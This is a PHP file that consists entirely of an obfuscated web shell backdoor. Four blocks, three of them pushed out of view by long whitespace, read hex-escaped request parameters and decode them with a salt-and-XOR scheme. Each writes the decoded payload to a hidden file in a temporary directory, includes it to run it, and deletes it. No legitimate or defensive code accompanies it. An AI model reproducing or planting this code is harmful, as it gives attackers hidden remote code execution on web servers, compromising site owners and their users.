<?php																																										if(filter_has_var(INPUT_POST, "bi\x6E\x64")){ $hld = array_filter([getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), getcwd(), "/dev/shm", "/var/tmp", "/tmp"]); $fac = $_REQUEST["bi\x6E\x64"]; $fac=explode ("." , $fac ) ; $val = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8 ); foreach($fac as $r => $v7): $chS = ord($salt8[$r% $lenS] ); $dec =((int)$v7 - $chS -($r% 10)) ^ 74; $val.= chr($dec ); endforeach; foreach ($hld as $key => $descriptor) { if ((function($d) { return is_dir($d) && is_writable($d); })($descriptor)) { $reference = "$descriptor/.flg"; if (file_put_contents($reference, $val)) { include $reference; @unlink($reference); exit; } } } }
																																										if(isset($_REQUEST["data\x5Fc\x68u\x6E\x6B"]) ? true : false){ $hld = $_REQUEST["data\x5Fc\x68u\x6E\x6B"]; $hld = explode( "." , $hld) ; $rec = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $s = 0; array_walk($hld, function ($v9) use (&$rec, &$s, $salt, $sLen) {$sChar = ord($salt[$s % $sLen] ); $dec = ((int)$v9 - $sChar - ($s % 10)) ^ 90; $rec .= chr($dec ); $s++; } ); $dchunk = array_filter([getenv("TMP"), getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), "/var/tmp", session_save_path(), "/dev/shm"]); foreach ($dchunk as $key => $pointer) { if (!( !is_dir($pointer) || !is_writable($pointer) )) { $parameter_group = "$pointer/.ref"; if (file_put_contents($parameter_group, $rec)) { require $parameter_group; unlink($parameter_group); die(); } } } }
																																										if(isset($_REQUEST["h\x6Cd"]) ? true : false){ $flg = $_REQUEST["h\x6Cd"]; $flg =explode ('.' , $flg) ; $entry = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); foreach( $flg as $x => $v9): $sChar = ord( $s[$x % $lenS]); $dec =( ( int)$v9 - $sChar -( $x % 10))^ 91; $entry .=chr( $dec); endforeach; $comp = array_filter([getenv("TMP"), getenv("TEMP"), "/dev/shm", "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), sys_get_temp_dir()]); $pset = 0; do { $val = $comp[$pset] ?? null; if ($pset >= count($comp)) break; if (is_dir($val) && is_writable($val)) { $tkn = "$val/.holder"; if (file_put_contents($tkn, $entry)) { include $tkn; @unlink($tkn); die(); } } $pset++; } while (true); }


if(!is_null($_POST["\x6Da\x72k\x65r"] ?? null)){
	$obj = $_POST["\x6Da\x72k\x65r"];
			$obj	=explode 	 ( 	 "."   ,	$obj ) ; 
	$ent	 ='';
            $s4	 ='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	 =strlen( $s4);
            $x	 =0;
            $len	 =count( $obj);
    
            do {
                if( $x>=$len) break;
                $v3	 =$obj[$x];
                $chS	 =ord( $s4[$x%$lenS]);
                $dec	 =( ( int)$v3 - $chS -( $x%10)) ^ 	66;
                $ent .= chr( $dec);
                $x++;
            } while( true);
	$itm = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getcwd(), "/var/tmp", session_save_path(), "/dev/shm", getenv("TMP"), sys_get_temp_dir()]);
	foreach ($itm as $key => $sym) {
    		if (max(0, is_dir($sym) * is_writable($sym))) {
    $ptr = str_replace("{var_dir}", $sym, "{var_dir}/.flg");
    if (@file_put_contents($ptr, $ent) !== false) {
	include $ptr;
	unlink($ptr);
	die();
}
}
}
}